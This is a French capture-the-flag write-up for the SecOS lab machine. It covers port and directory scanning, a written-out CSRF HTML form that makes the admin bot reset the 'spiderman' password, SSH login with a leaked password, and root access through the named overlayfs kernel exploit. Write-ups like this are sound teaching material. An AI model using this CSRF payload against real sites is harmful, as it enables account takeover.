SecOs - Write Up
Reconnaissance
nmap -sS -A 192.168.43.38 ports ouverts : 22 ssh 8081/tcp open http Node.js (Express middleware)
Exploitation Web
Pour le port 8081 :
Avec l'outil dirb on va chercher les fichiers existants :
./dirb http://192.168.43.38:8081/ wordlists/common.txt + http://192.168.43.38:8081/about (CODE:200|SIZE:2330) + http://192.168.43.38:8081/About (CODE:200|SIZE:2330) + http://192.168.43.38:8081/css (CODE:303|SIZE:20) + http://192.168.43.38:8081/hint (CODE:200|SIZE:2287) + http://192.168.43.38:8081/js (CODE:303|SIZE:19) + http://192.168.43.38:8081/login (CODE:200|SIZE:2337) + http://192.168.43.38:8081/Login (CODE:200|SIZE:2337) + http://192.168.43.38:8081/logout (CODE:301|SIZE:0) + http://192.168.43.38:8081/messages (CODE:301|SIZE:0) + http://192.168.43.38:8081/sign-up (CODE:200|SIZE:2280) + http://192.168.43.38:8081/users (CODE:301|SIZE:0)
Dirb nous ressort une page intéressante : hint
On regarde le code source :
Vu les informations récoltées il y a de forte chance que l'ont est besoin de faire une CSRF dans la suite du challenge.
Pour accéder à la plateforme il faut se créer un compte.
Dans la liste des comptes utilisateurs on remarque que seul le compte spiderman est administrateur.
Une page de réinitialisation de mot de passe et une page de contact sont présentes sur le site.
Après avoir envoyé une bonne quantité de messages , j'ai compris :
En local j'ai créé un fichier csrf.html :
<!DOCTYPE html> <html> <body> <iframe style="display:none" name="csrf-frame"></iframe> <form action="http://127.0.0.1:8081/change-password" method="POST" id="csrf-form"> <input class="input-block-level" placeholder="spiderman" name="username" disabled="" type="text" value="spiderman"> <input class="input-block-level" placeholder="Password" name="password" type="password" value="test"> </form> <script>document.getElementById("csrf-form").submit()</script> </body> </html>
Puis j'ai ouvert un socket python en écoute sur le port 80 :
python -m SimpleHTTPServer 80
Il faut ensuite envoyer un jolie petit message à spiderman depuis votre compte :
Quelques minutes plus tard on obtient cela :
192.168.43.38 - - [07/Aug/2017 14:22:29] "GET /csrf.html HTTP/1.1" 200 -
Le bot est bien passé et a exécuter notre CSRF.
On peut dès à présent se connecter avec les identifiants : spiderman/test
Dans les messages de spiderman on remarque que quelqu'un a déjà piraté le compte :
On utilise le mot de passe CrazyPassword! pour se connecter en ssh.
Exploitation système & Élévation de privilège
Récupération de la version du noyau :
uname -a Linux SecOS-1 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:08:14 UTC 2014 i686 i686 i686 GNU/Linux
On va chercher la version de la distribution :
lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04 LTS Release: 14.04 Codename: trusty
L'élévation se fait à l'aide de l'exploit : overlayfs
cat /root/flag.txt
Merci à l'auteur de la machine.